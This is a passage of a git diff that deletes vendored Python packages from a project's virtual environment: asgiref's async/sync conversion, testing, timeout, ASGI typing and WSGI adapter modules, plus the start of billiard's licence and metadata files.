SyncToAsync.thread_sensitive_context.reset(self.token) - - -class AsyncToSync(Generic[_P, _R]): - """ - Utility class which turns an awaitable that only works on the thread with - the event loop into a synchronous callable that works in a subthread. - - If the call stack contains an async loop, the code runs there. - Otherwise, the code runs in a new loop in a new thread. - - Either way, this thread then pauses and waits to run any thread_sensitive - code called from further down the call stack using SyncToAsync, before - finally exiting once the async task returns. - """ - - # Keeps a reference to the CurrentThreadExecutor in local context, so that - # any sync_to_async inside the wrapped code can find it. - executors: "Local" = Local() - - # When we can't find a CurrentThreadExecutor from the context, such as - # inside create_task, we'll look it up here from the running event loop. - loop_thread_executors: "Dict[asyncio.AbstractEventLoop, CurrentThreadExecutor]" = {} - - def __init__( - self, - awaitable: Union[ - Callable[_P, Coroutine[Any, Any, _R]], - Callable[_P, Awaitable[_R]], - ], - force_new_loop: bool = False, - ): - if not callable(awaitable) or ( - not iscoroutinefunction(awaitable) - and not iscoroutinefunction(getattr(awaitable, "__call__", awaitable)) - ): - # Python does not have very reliable detection of async functions - # (lots of false negatives) so this is just a warning. - warnings.warn( - "async_to_sync was passed a non-async-marked callable", stacklevel=2 - ) - self.awaitable = awaitable - try: - self.__self__ = self.awaitable.__self__ # type: ignore[union-attr] - except AttributeError: - pass - self.force_new_loop = force_new_loop - self.main_event_loop = None - try: - self.main_event_loop = asyncio.get_running_loop() - except RuntimeError: - # There's no event loop in this thread. - pass - - def __call__(self, *args: _P.args, **kwargs: _P.kwargs) -> _R: - __traceback_hide__ = True # noqa: F841 - - if not self.force_new_loop and not self.main_event_loop: - # There's no event loop in this thread. Look for the threadlocal if - # we're inside SyncToAsync - main_event_loop_pid = getattr( - SyncToAsync.threadlocal, "main_event_loop_pid", None - ) - # We make sure the parent loop is from the same process - if - # they've forked, this is not going to be valid any more (#194) - if main_event_loop_pid and main_event_loop_pid == os.getpid(): - self.main_event_loop = getattr( - SyncToAsync.threadlocal, "main_event_loop", None - ) - - # You can't call AsyncToSync from a thread with a running event loop - try: - event_loop = asyncio.get_running_loop() - except RuntimeError: - pass - else: - if event_loop.is_running(): - raise RuntimeError( - "You cannot use AsyncToSync in the same thread as an async event loop - " - "just await the async function directly." - ) - - # Make a future for the return information - call_result: "Future[_R]" = Future() - - # Make a CurrentThreadExecutor we'll use to idle in this thread - we - # need one for every sync frame, even if there's one above us in the - # same thread. - old_executor = getattr(self.executors, "current", None) - current_executor = CurrentThreadExecutor() - self.executors.current = current_executor - - # Wrapping context in list so it can be reassigned from within - # `main_wrap`. - context = [contextvars.copy_context()] - - # Get task context so that parent task knows which task to propagate - # an asyncio.CancelledError to. - task_context = getattr(SyncToAsync.threadlocal, "task_context", None) - - loop = None - # Use call_soon_threadsafe to schedule a synchronous callback on the - # main event loop's thread if it's there, otherwise make a new loop - # in this thread. - try: - awaitable = self.main_wrap( - call_result, - sys.exc_info(), - task_context, - context, - *args, - **kwargs, - ) - - if not (self.main_event_loop and self.main_event_loop.is_running()): - # Make our own event loop - in a new thread - and run inside that. - loop = asyncio.new_event_loop() - self.loop_thread_executors[loop] = current_executor - loop_executor = ThreadPoolExecutor(max_workers=1) - loop_future = loop_executor.submit( - self._run_event_loop, loop, awaitable - ) - if current_executor: - # Run the CurrentThreadExecutor until the future is done - current_executor.run_until_future(loop_future) - # Wait for future and/or allow for exception propagation - loop_future.result() - else: - # Call it inside the existing loop - self.main_event_loop.call_soon_threadsafe( - self.main_event_loop.create_task, awaitable - ) - if current_executor: - # Run the CurrentThreadExecutor until the future is done - current_executor.run_until_future(call_result) - finally: - # Clean up any executor we were running - if loop is not None: - del self.loop_thread_executors[loop] - _restore_context(context[0]) - # Restore old current thread executor state - self.executors.current = old_executor - - # Wait for results from the future. - return call_result.result() - - def _run_event_loop(self, loop, coro): - """ - Runs the given event loop (designed to be called in a thread). - """ - asyncio.set_event_loop(loop) - try: - loop.run_until_complete(coro) - finally: - try: - # mimic asyncio.run() behavior - # cancel unexhausted async generators - tasks = asyncio.all_tasks(loop) - for task in tasks: - task.cancel() - - async def gather(): - await asyncio.gather(*tasks, return_exceptions=True) - - loop.run_until_complete(gather()) - for task in tasks: - if task.cancelled(): - continue - if task.exception() is not None: - loop.call_exception_handler( - { - "message": "unhandled exception during loop shutdown", - "exception": task.exception(), - "task": task, - } - ) - if hasattr(loop, "shutdown_asyncgens"): - loop.run_until_complete(loop.shutdown_asyncgens()) - finally: - loop.close() - asyncio.set_event_loop(self.main_event_loop) - - def __get__(self, parent: Any, objtype: Any) -> Callable[_P, _R]: - """ - Include self for methods - """ - func = functools.partial(self.__call__, parent) - return functools.update_wrapper(func, self.awaitable) - - async def main_wrap( - self, - call_result: "Future[_R]", - exc_info: "OptExcInfo", - task_context: "Optional[List[asyncio.Task[Any]]]", - context: List[contextvars.Context], - *args: _P.args, - **kwargs: _P.kwargs, - ) -> None: - """ - Wraps the awaitable with something that puts the result into the - result/exception future. - """ - - __traceback_hide__ = True # noqa: F841 - - if context is not None: - _restore_context(context[0]) - - current_task = asyncio.current_task() - if current_task is not None and task_context is not None: - task_context.append(current_task) - - try: - # If we have an exception, run the function inside the except block - # after raising it so exc_info is correctly populated. - if exc_info[1]: - try: - raise exc_info[1] - except BaseException: - result = await self.awaitable(*args, **kwargs) - else: - result = await self.awaitable(*args, **kwargs) - except BaseException as e: - call_result.set_exception(e) - else: - call_result.set_result(result) - finally: - if current_task is not None and task_context is not None: - task_context.remove(current_task) - context[0] = contextvars.copy_context() - - -class SyncToAsync(Generic[_P, _R]): - """ - Utility class which turns a synchronous callable into an awaitable that - runs in a threadpool. It also sets a threadlocal inside the thread so - calls to AsyncToSync can escape it. - - If thread_sensitive is passed, the code will run in the same thread as any - outer code. This is needed for underlying Python code that is not - threadsafe (for example, code which handles SQLite database connections). - - If the outermost program is async (i.e. SyncToAsync is outermost), then - this will be a dedicated single sub-thread that all sync code runs in, - one after the other. If the outermost program is sync (i.e. AsyncToSync is - outermost), this will just be the main thread. This is achieved by idling - with a CurrentThreadExecutor while AsyncToSync is blocking its sync parent, - rather than just blocking. - - If executor is passed in, that will be used instead of the loop's default executor. - In order to pass in an executor, thread_sensitive must be set to False, otherwise - a TypeError will be raised. - """ - - # Storage for main event loop references - threadlocal = threading.local() - - # Single-thread executor for thread-sensitive code - single_thread_executor = ThreadPoolExecutor(max_workers=1) - - # Maintain a contextvar for the current execution context. Optionally used - # for thread sensitive mode. - thread_sensitive_context: "contextvars.ContextVar[ThreadSensitiveContext]" = ( - contextvars.ContextVar("thread_sensitive_context") - ) - - # Contextvar that is used to detect if the single thread executor - # would be awaited on while already being used in the same context - deadlock_context: "contextvars.ContextVar[bool]" = contextvars.ContextVar( - "deadlock_context" - ) - - # Maintaining a weak reference to the context ensures that thread pools are - # erased once the context goes out of scope. This terminates the thread pool. - context_to_thread_executor: "weakref.WeakKeyDictionary[ThreadSensitiveContext, ThreadPoolExecutor]" = ( - weakref.WeakKeyDictionary() - ) - - def __init__( - self, - func: Callable[_P, _R], - thread_sensitive: bool = True, - executor: Optional["ThreadPoolExecutor"] = None, - ) -> None: - if ( - not callable(func) - or iscoroutinefunction(func) - or iscoroutinefunction(getattr(func, "__call__", func)) - ): - raise TypeError("sync_to_async can only be applied to sync functions.") - self.func = func - functools.update_wrapper(self, func) - self._thread_sensitive = thread_sensitive - markcoroutinefunction(self) - if thread_sensitive and executor is not None: - raise TypeError("executor must not be set when thread_sensitive is True") - self._executor = executor - try: - self.__self__ = func.__self__ # type: ignore - except AttributeError: - pass - - async def __call__(self, *args: _P.args, **kwargs: _P.kwargs) -> _R: - __traceback_hide__ = True # noqa: F841 - loop = asyncio.get_running_loop() - - # Work out what thread to run the code in - if self._thread_sensitive: - current_thread_executor = getattr(AsyncToSync.executors, "current", None) - if current_thread_executor: - # If we have a parent sync thread above somewhere, use that - executor = current_thread_executor - elif self.thread_sensitive_context.get(None): - # If we have a way of retrieving the current context, attempt - # to use a per-context thread pool executor - thread_sensitive_context = self.thread_sensitive_context.get() - - if thread_sensitive_context in self.context_to_thread_executor: - # Re-use thread executor in current context - executor = self.context_to_thread_executor[thread_sensitive_context] - else: - # Create new thread executor in current context - executor = ThreadPoolExecutor(max_workers=1) - self.context_to_thread_executor[thread_sensitive_context] = executor - elif loop in AsyncToSync.loop_thread_executors: - # Re-use thread executor for running loop - executor = AsyncToSync.loop_thread_executors[loop] - elif self.deadlock_context.get(False): - raise RuntimeError( - "Single thread executor already being used, would deadlock" - ) - else: - # Otherwise, we run it in a fixed single thread - executor = self.single_thread_executor - self.deadlock_context.set(True) - else: - # Use the passed in executor, or the loop's default if it is None - executor = self._executor - - context = contextvars.copy_context() - child = functools.partial(self.func, *args, **kwargs) - func = context.run - task_context: List[asyncio.Task[Any]] = [] - - # Run the code in the right thread - exec_coro = loop.run_in_executor( - executor, - functools.partial( - self.thread_handler, - loop, - sys.exc_info(), - task_context, - func, - child, - ), - ) - ret: _R - try: - ret = await asyncio.shield(exec_coro) - except asyncio.CancelledError: - cancel_parent = True - try: - task = task_context[0] - task.cancel() - try: - await task - cancel_parent = False - except asyncio.CancelledError: - pass - except IndexError: - pass - if exec_coro.done(): - raise - if cancel_parent: - exec_coro.cancel() - ret = await exec_coro - finally: - _restore_context(context) - self.deadlock_context.set(False) - - return ret - - def __get__( - self, parent: Any, objtype: Any - ) -> Callable[_P, Coroutine[Any, Any, _R]]: - """ - Include self for methods - """ - func = functools.partial(self.__call__, parent) - return functools.update_wrapper(func, self.func) - - def thread_handler(self, loop, exc_info, task_context, func, *args, **kwargs): - """ - Wraps the sync application with exception handling. - """ - - __traceback_hide__ = True # noqa: F841 - - # Set the threadlocal for AsyncToSync - self.threadlocal.main_event_loop = loop - self.threadlocal.main_event_loop_pid = os.getpid() - self.threadlocal.task_context = task_context - - # Run the function - # If we have an exception, run the function inside the except block - # after raising it so exc_info is correctly populated. - if exc_info[1]: - try: - raise exc_info[1] - except BaseException: - return func(*args, **kwargs) - else: - return func(*args, **kwargs) - - -@overload -def async_to_sync( - *, - force_new_loop: bool = False, -) -> Callable[ - [Union[Callable[_P, Coroutine[Any, Any, _R]], Callable[_P, Awaitable[_R]]]], - Callable[_P, _R], -]: - ... - - -@overload -def async_to_sync( - awaitable: Union[ - Callable[_P, Coroutine[Any, Any, _R]], - Callable[_P, Awaitable[_R]], - ], - *, - force_new_loop: bool = False, -) -> Callable[_P, _R]: - ... - - -def async_to_sync( - awaitable: Optional[ - Union[ - Callable[_P, Coroutine[Any, Any, _R]], - Callable[_P, Awaitable[_R]], - ] - ] = None, - *, - force_new_loop: bool = False, -) -> Union[ - Callable[ - [Union[Callable[_P, Coroutine[Any, Any, _R]], Callable[_P, Awaitable[_R]]]], - Callable[_P, _R], - ], - Callable[_P, _R], -]: - if awaitable is None: - return lambda f: AsyncToSync( - f, - force_new_loop=force_new_loop, - ) - return AsyncToSync( - awaitable, - force_new_loop=force_new_loop, - ) - - -@overload -def sync_to_async( - *, - thread_sensitive: bool = True, - executor: Optional["ThreadPoolExecutor"] = None, -) -> Callable[[Callable[_P, _R]], Callable[_P, Coroutine[Any, Any, _R]]]: - ... - - -@overload -def sync_to_async( - func: Callable[_P, _R], - *, - thread_sensitive: bool = True, - executor: Optional["ThreadPoolExecutor"] = None, -) -> Callable[_P, Coroutine[Any, Any, _R]]: - ... - - -def sync_to_async( - func: Optional[Callable[_P, _R]] = None, - *, - thread_sensitive: bool = True, - executor: Optional["ThreadPoolExecutor"] = None, -) -> Union[ - Callable[[Callable[_P, _R]], Callable[_P, Coroutine[Any, Any, _R]]], - Callable[_P, Coroutine[Any, Any, _R]], -]: - if func is None: - return lambda f: SyncToAsync( - f, - thread_sensitive=thread_sensitive, - executor=executor, - ) - return SyncToAsync( - func, - thread_sensitive=thread_sensitive, - executor=executor, - ) diff --git a/backend/venv/Lib/site-packages/asgiref/testing.py b/backend/venv/Lib/site-packages/asgiref/testing.py deleted file mode 100644 index aa7cff1c..00000000 --- a/backend/venv/Lib/site-packages/asgiref/testing.py +++ /dev/null @@ -1,103 +0,0 @@ -import asyncio -import contextvars -import time - -from .compatibility import guarantee_single_callable -from .timeout import timeout as async_timeout - - -class ApplicationCommunicator: - """ - Runs an ASGI application in a test mode, allowing sending of - messages to it and retrieval of messages it sends. - """ - - def __init__(self, application, scope): - self.application = guarantee_single_callable(application) - self.scope = scope - self.input_queue = asyncio.Queue() - self.output_queue = asyncio.Queue() - # Clear context - this ensures that context vars set in the testing scope - # are not "leaked" into the application which would normally begin with - # an empty context. In Python >= 3.11 this could also be written as: - # asyncio.create_task(..., context=contextvars.Context()) - self.future = contextvars.Context().run( - asyncio.create_task, - self.application(scope, self.input_queue.get, self.output_queue.put), - ) - - async def wait(self, timeout=1): - """ - Waits for the application to stop itself and returns any exceptions. - """ - try: - async with async_timeout(timeout): - try: - await self.future - self.future.result() - except asyncio.CancelledError: - pass - finally: - if not self.future.done(): - self.future.cancel() - try: - await self.future - except asyncio.CancelledError: - pass - - def stop(self, exceptions=True): - if not self.future.done(): - self.future.cancel() - elif exceptions: - # Give a chance to raise any exceptions - self.future.result() - - def __del__(self): - # Clean up on deletion - try: - self.stop(exceptions=False) - except RuntimeError: - # Event loop already stopped - pass - - async def send_input(self, message): - """ - Sends a single message to the application - """ - # Give it the message - await self.input_queue.put(message) - - async def receive_output(self, timeout=1): - """ - Receives a single message from the application, with optional timeout. - """ - # Make sure there's not an exception to raise from the task - if self.future.done(): - self.future.result() - # Wait and receive the message - try: - async with async_timeout(timeout): - return await self.output_queue.get() - except asyncio.TimeoutError as e: - # See if we have another error to raise inside - if self.future.done(): - self.future.result() - else: - self.future.cancel() - try: - await self.future - except asyncio.CancelledError: - pass - raise e - - async def receive_nothing(self, timeout=0.1, interval=0.01): - """ - Checks that there is no message to receive in the given time. - """ - # `interval` has precedence over `timeout` - start = time.monotonic() - while time.monotonic() - start < timeout: - if not self.output_queue.empty(): - return False - await asyncio.sleep(interval) - return self.output_queue.empty() diff --git a/backend/venv/Lib/site-packages/asgiref/timeout.py b/backend/venv/Lib/site-packages/asgiref/timeout.py deleted file mode 100644 index fd5381d0..00000000 --- a/backend/venv/Lib/site-packages/asgiref/timeout.py +++ /dev/null @@ -1,118 +0,0 @@ -# This code is originally sourced from the aio-libs project "async_timeout", -# under the Apache 2.0 license. You may see the original project at -# https://github.com/aio-libs/async-timeout - -# It is vendored here to reduce chain-dependencies on this library, and -# modified slightly to remove some features we don't use. - - -import asyncio -import warnings -from types import TracebackType -from typing import Any # noqa -from typing import Optional, Type - - -class timeout: - """timeout context manager. - - Useful in cases when you want to apply timeout logic around block - of code or in cases when asyncio.wait_for is not suitable. For example: - - >>> with timeout(0.001): - ... async with aiohttp.get('https://github.com') as r: - ... await r.text() - - - timeout - value in seconds or None to disable timeout logic - loop - asyncio compatible event loop - """ - - def __init__( - self, - timeout: Optional[float], - *, - loop: Optional[asyncio.AbstractEventLoop] = None, - ) -> None: - self._timeout = timeout - if loop is None: - loop = asyncio.get_running_loop() - else: - warnings.warn( - """The loop argument to timeout() is deprecated.""", DeprecationWarning - ) - self._loop = loop - self._task = None # type: Optional[asyncio.Task[Any]] - self._cancelled = False - self._cancel_handler = None # type: Optional[asyncio.Handle] - self._cancel_at = None # type: Optional[float] - - def __enter__(self) -> "timeout": - return self._do_enter() - - def __exit__( - self, - exc_type: Type[BaseException], - exc_val: BaseException, - exc_tb: TracebackType, - ) -> Optional[bool]: - self._do_exit(exc_type) - return None - - async def __aenter__(self) -> "timeout": - return self._do_enter() - - async def __aexit__( - self, - exc_type: Type[BaseException], - exc_val: BaseException, - exc_tb: TracebackType, - ) -> None: - self._do_exit(exc_type) - - @property - def expired(self) -> bool: - return self._cancelled - - @property - def remaining(self) -> Optional[float]: - if self._cancel_at is not None: - return max(self._cancel_at - self._loop.time(), 0.0) - else: - return None - - def _do_enter(self) -> "timeout": - # Support Tornado 5- without timeout - # Details: https://github.com/python/asyncio/issues/392 - if self._timeout is None: - return self - - self._task = asyncio.current_task(self._loop) - if self._task is None: - raise RuntimeError( - "Timeout context manager should be used " "inside a task" - ) - - if self._timeout <= 0: - self._loop.call_soon(self._cancel_task) - return self - - self._cancel_at = self._loop.time() + self._timeout - self._cancel_handler = self._loop.call_at(self._cancel_at, self._cancel_task) - return self - - def _do_exit(self, exc_type: Type[BaseException]) -> None: - if exc_type is asyncio.CancelledError and self._cancelled: - self._cancel_handler = None - self._task = None - raise asyncio.TimeoutError - if self._timeout is not None and self._cancel_handler is not None: - self._cancel_handler.cancel() - self._cancel_handler = None - self._task = None - return None - - def _cancel_task(self) -> None: - if self._task is not None: - self._task.cancel() - self._cancelled = True diff --git a/backend/venv/Lib/site-packages/asgiref/typing.py b/backend/venv/Lib/site-packages/asgiref/typing.py deleted file mode 100644 index 71c25ed8..00000000 --- a/backend/venv/Lib/site-packages/asgiref/typing.py +++ /dev/null @@ -1,278 +0,0 @@ -import sys -from typing import ( - Any, - Awaitable, - Callable, - Dict, - Iterable, - Literal, - Optional, - Protocol, - Tuple, - Type, - TypedDict, - Union, -) - -if sys.version_info >= (3, 11): - from typing import NotRequired -else: - from typing_extensions import NotRequired - -__all__ = ( - "ASGIVersions", - "HTTPScope", - "WebSocketScope", - "LifespanScope", - "WWWScope", - "Scope", - "HTTPRequestEvent", - "HTTPResponseStartEvent", - "HTTPResponseBodyEvent", - "HTTPResponseTrailersEvent", - "HTTPResponsePathsendEvent", - "HTTPServerPushEvent", - "HTTPDisconnectEvent", - "WebSocketConnectEvent", - "WebSocketAcceptEvent", - "WebSocketReceiveEvent", - "WebSocketSendEvent", - "WebSocketResponseStartEvent", - "WebSocketResponseBodyEvent", - "WebSocketDisconnectEvent", - "WebSocketCloseEvent", - "LifespanStartupEvent", - "LifespanShutdownEvent", - "LifespanStartupCompleteEvent", - "LifespanStartupFailedEvent", - "LifespanShutdownCompleteEvent", - "LifespanShutdownFailedEvent", - "ASGIReceiveEvent", - "ASGISendEvent", - "ASGIReceiveCallable", - "ASGISendCallable", - "ASGI2Protocol", - "ASGI2Application", - "ASGI3Application", - "ASGIApplication", -) - - -class ASGIVersions(TypedDict): - spec_version: str - version: Union[Literal["2.0"], Literal["3.0"]] - - -class HTTPScope(TypedDict): - type: Literal["http"] - asgi: ASGIVersions - http_version: str - method: str - scheme: str - path: str - raw_path: bytes - query_string: bytes - root_path: str - headers: Iterable[Tuple[bytes, bytes]] - client: Optional[Tuple[str, int]] - server: Optional[Tuple[str, Optional[int]]] - state: NotRequired[Dict[str, Any]] - extensions: Optional[Dict[str, Dict[object, object]]] - - -class WebSocketScope(TypedDict): - type: Literal["websocket"] - asgi: ASGIVersions - http_version: str - scheme: str - path: str - raw_path: bytes - query_string: bytes - root_path: str - headers: Iterable[Tuple[bytes, bytes]] - client: Optional[Tuple[str, int]] - server: Optional[Tuple[str, Optional[int]]] - subprotocols: Iterable[str] - state: NotRequired[Dict[str, Any]] - extensions: Optional[Dict[str, Dict[object, object]]] - - -class LifespanScope(TypedDict): - type: Literal["lifespan"] - asgi: ASGIVersions - state: NotRequired[Dict[str, Any]] - - -WWWScope = Union[HTTPScope, WebSocketScope] -Scope = Union[HTTPScope, WebSocketScope, LifespanScope] - - -class HTTPRequestEvent(TypedDict): - type: Literal["http.request"] - body: bytes - more_body: bool - - -class HTTPResponseDebugEvent(TypedDict): - type: Literal["http.response.debug"] - info: Dict[str, object] - - -class HTTPResponseStartEvent(TypedDict): - type: Literal["http.response.start"] - status: int - headers: Iterable[Tuple[bytes, bytes]] - trailers: bool - - -class HTTPResponseBodyEvent(TypedDict): - type: Literal["http.response.body"] - body: bytes - more_body: bool - - -class HTTPResponseTrailersEvent(TypedDict): - type: Literal["http.response.trailers"] - headers: Iterable[Tuple[bytes, bytes]] - more_trailers: bool - - -class HTTPResponsePathsendEvent(TypedDict): - type: Literal["http.response.pathsend"] - path: str - - -class HTTPServerPushEvent(TypedDict): - type: Literal["http.response.push"] - path: str - headers: Iterable[Tuple[bytes, bytes]] - - -class HTTPDisconnectEvent(TypedDict): - type: Literal["http.disconnect"] - - -class WebSocketConnectEvent(TypedDict): - type: Literal["websocket.connect"] - - -class WebSocketAcceptEvent(TypedDict): - type: Literal["websocket.accept"] - subprotocol: Optional[str] - headers: Iterable[Tuple[bytes, bytes]] - - -class WebSocketReceiveEvent(TypedDict): - type: Literal["websocket.receive"] - bytes: Optional[bytes] - text: Optional[str] - - -class WebSocketSendEvent(TypedDict): - type: Literal["websocket.send"] - bytes: Optional[bytes] - text: Optional[str] - - -class WebSocketResponseStartEvent(TypedDict): - type: Literal["websocket.http.response.start"] - status: int - headers: Iterable[Tuple[bytes, bytes]] - - -class WebSocketResponseBodyEvent(TypedDict): - type: Literal["websocket.http.response.body"] - body: bytes - more_body: bool - - -class WebSocketDisconnectEvent(TypedDict): - type: Literal["websocket.disconnect"] - code: int - - -class WebSocketCloseEvent(TypedDict): - type: Literal["websocket.close"] - code: int - reason: Optional[str] - - -class LifespanStartupEvent(TypedDict): - type: Literal["lifespan.startup"] - - -class LifespanShutdownEvent(TypedDict): - type: Literal["lifespan.shutdown"] - - -class LifespanStartupCompleteEvent(TypedDict): - type: Literal["lifespan.startup.complete"] - - -class LifespanStartupFailedEvent(TypedDict): - type: Literal["lifespan.startup.failed"] - message: str - - -class LifespanShutdownCompleteEvent(TypedDict): - type: Literal["lifespan.shutdown.complete"] - - -class LifespanShutdownFailedEvent(TypedDict): - type: Literal["lifespan.shutdown.failed"] - message: str - - -ASGIReceiveEvent = Union[ - HTTPRequestEvent, - HTTPDisconnectEvent, - WebSocketConnectEvent, - WebSocketReceiveEvent, - WebSocketDisconnectEvent, - LifespanStartupEvent, - LifespanShutdownEvent, -] - - -ASGISendEvent = Union[ - HTTPResponseStartEvent, - HTTPResponseBodyEvent, - HTTPResponseTrailersEvent, - HTTPServerPushEvent, - HTTPDisconnectEvent, - WebSocketAcceptEvent, - WebSocketSendEvent, - WebSocketResponseStartEvent, - WebSocketResponseBodyEvent, - WebSocketCloseEvent, - LifespanStartupCompleteEvent, - LifespanStartupFailedEvent, - LifespanShutdownCompleteEvent, - LifespanShutdownFailedEvent, -] - - -ASGIReceiveCallable = Callable[[], Awaitable[ASGIReceiveEvent]] -ASGISendCallable = Callable[[ASGISendEvent], Awaitable[None]] - - -class ASGI2Protocol(Protocol): - def __init__(self, scope: Scope) -> None: - ... - - async def __call__( - self, receive: ASGIReceiveCallable, send: ASGISendCallable - ) -> None: - ... - - -ASGI2Application = Type[ASGI2Protocol] -ASGI3Application = Callable[ - [ - Scope, - ASGIReceiveCallable, - ASGISendCallable, - ], - Awaitable[None], -] -ASGIApplication = Union[ASGI2Application, ASGI3Application] diff --git a/backend/venv/Lib/site-packages/asgiref/wsgi.py b/backend/venv/Lib/site-packages/asgiref/wsgi.py deleted file mode 100644 index 65af4279..00000000 --- a/backend/venv/Lib/site-packages/asgiref/wsgi.py +++ /dev/null @@ -1,166 +0,0 @@ -from io import BytesIO -from tempfile import SpooledTemporaryFile - -from asgiref.sync import AsyncToSync, sync_to_async - - -class WsgiToAsgi: - """ - Wraps a WSGI application to make it into an ASGI application. - """ - - def __init__(self, wsgi_application): - self.wsgi_application = wsgi_application - - async def __call__(self, scope, receive, send): - """ - ASGI application instantiation point. - We return a new WsgiToAsgiInstance here with the WSGI app - and the scope, ready to respond when it is __call__ed. - """ - await WsgiToAsgiInstance(self.wsgi_application)(scope, receive, send) - - -class WsgiToAsgiInstance: - """ - Per-socket instance of a wrapped WSGI application - """ - - def __init__(self, wsgi_application): - self.wsgi_application = wsgi_application - self.response_started = False - self.response_content_length = None - - async def __call__(self, scope, receive, send): - if scope["type"] != "http": - raise ValueError("WSGI wrapper received a non-HTTP scope") - self.scope = scope - with SpooledTemporaryFile(max_size=65536) as body: - # Alright, wait for the http.request messages - while True: - message = await receive() - if message["type"] != "http.request": - raise ValueError("WSGI wrapper received a non-HTTP-request message") - body.write(message.get("body", b"")) - if not message.get("more_body"): - break - body.seek(0) - # Wrap send so it can be called from the subthread - self.sync_send = AsyncToSync(send) - # Call the WSGI app - await self.run_wsgi_app(body) - - def build_environ(self, scope, body): - """ - Builds a scope and request body into a WSGI environ object. - """ - script_name = scope.get("root_path", "").encode("utf8").decode("latin1") - path_info = scope["path"].encode("utf8").decode("latin1") - if path_info.startswith(script_name): - path_info = path_info[len(script_name) :] - environ = { - "REQUEST_METHOD": scope["method"], - "SCRIPT_NAME": script_name, - "PATH_INFO": path_info, - "QUERY_STRING": scope["query_string"].decode("ascii"), - "SERVER_PROTOCOL": "HTTP/%s" % scope["http_version"], - "wsgi.version": (1, 0), - "wsgi.url_scheme": scope.get("scheme", "http"), - "wsgi.input": body, - "wsgi.errors": BytesIO(), - "wsgi.multithread": True, - "wsgi.multiprocess": True, - "wsgi.run_once": False, - } - # Get server name and port - required in WSGI, not in ASGI - if "server" in scope: - environ["SERVER_NAME"] = scope["server"][0] - environ["SERVER_PORT"] = str(scope["server"][1]) - else: - environ["SERVER_NAME"] = "localhost" - environ["SERVER_PORT"] = "80" - - if scope.get("client") is not None: - environ["REMOTE_ADDR"] = scope["client"][0] - - # Go through headers and make them into environ entries - for name, value in self.scope.get("headers", []): - name = name.decode("latin1") - if name == "content-length": - corrected_name = "CONTENT_LENGTH" - elif name == "content-type": - corrected_name = "CONTENT_TYPE" - else: - corrected_name = "HTTP_%s" % name.upper().replace("-", "_") - # HTTPbis say only ASCII chars are allowed in headers, but we latin1 just in case - value = value.decode("latin1") - if corrected_name in environ: - value = environ[corrected_name] + "," + value - environ[corrected_name] = value - return environ - - def start_response(self, status, response_headers, exc_info=None): - """ - WSGI start_response callable. - """ - # Don't allow re-calling once response has begun - if self.response_started: - raise exc_info[1].with_traceback(exc_info[2]) - # Don't allow re-calling without exc_info - if hasattr(self, "response_start") and exc_info is None: - raise ValueError( - "You cannot call start_response a second time without exc_info" - ) - # Extract status code - status_code, _ = status.split(" ", 1) - status_code = int(status_code) - # Extract headers - headers = [ - (name.lower().encode("ascii"), value.encode("ascii")) - for name, value in response_headers - ] - # Extract content-length - self.response_content_length = None - for name, value in response_headers: - if name.lower() == "content-length": - self.response_content_length = int(value) - # Build and send response start message. - self.response_start = { - "type": "http.response.start", - "status": status_code, - "headers": headers, - } - - @sync_to_async - def run_wsgi_app(self, body): - """ - Called in a subthread to run the WSGI app. We encapsulate like - this so that the start_response callable is called in the same thread. - """ - # Translate the scope and incoming request body into a WSGI environ - environ = self.build_environ(self.scope, body) - # Run the WSGI app - bytes_sent = 0 - for output in self.wsgi_application(environ, self.start_response): - # If this is the first response, include the response headers - if not self.response_started: - self.response_started = True - self.sync_send(self.response_start) - # If the application supplies a Content-Length header - if self.response_content_length is not None: - # The server should not transmit more bytes to the client than the header allows - bytes_allowed = self.response_content_length - bytes_sent - if len(output) > bytes_allowed: - output = output[:bytes_allowed] - self.sync_send( - {"type": "http.response.body", "body": output, "more_body": True} - ) - bytes_sent += len(output) - # The server should stop iterating over the response when enough data has been sent - if bytes_sent == self.response_content_length: - break - # Close connection - if not self.response_started: - self.response_started = True - self.sync_send(self.response_start) - self.sync_send({"type": "http.response.body"}) diff --git a/backend/venv/Lib/site-packages/billiard-4.2.1.dist-info/INSTALLER b/backend/venv/Lib/site-packages/billiard-4.2.1.dist-info/INSTALLER deleted file mode 100644 index a1b589e3..00000000 --- a/backend/venv/Lib/site-packages/billiard-4.2.1.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/backend/venv/Lib/site-packages/billiard-4.2.1.dist-info/LICENSE.txt b/backend/venv/Lib/site-packages/billiard-4.2.1.dist-info/LICENSE.txt deleted file mode 100644 index b9920edb..00000000 --- a/backend/venv/Lib/site-packages/billiard-4.2.1.dist-info/LICENSE.txt +++ /dev/null @@ -1,29 +0,0 @@ -Copyright (c) 2006-2008, R Oudkerk and Contributors - -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions -are met: - -1. Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. -2. Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in the - documentation and/or other materials provided with the distribution. -3. Neither the name of author nor the names of any contributors may be - used to endorse or promote products derived from this software - without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS" AND -ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE -FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS -OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) -HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY -OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF -SUCH DAMAGE. - diff --git a/backend/venv/Lib/site-packages/billiard-4.2.1.dist-info/METADATA b/backend/venv/Lib/site-packages/billiard-4.2.1.dist-info/METADATA deleted file mode 100644 index c47c4e02..00000000 --- a/backend/venv/Lib/site-packages/billiard-4.2.1.dist-info/METADATA +++ /dev/null @@ -1,108 +0,0 @@ -Metadata-Version: 2.1 -Name: billiard -Version: 4.2.1 -Summary: Python multiprocessing fork with improvements and bugfixes -Home-page: https://github.com/celery/billiard 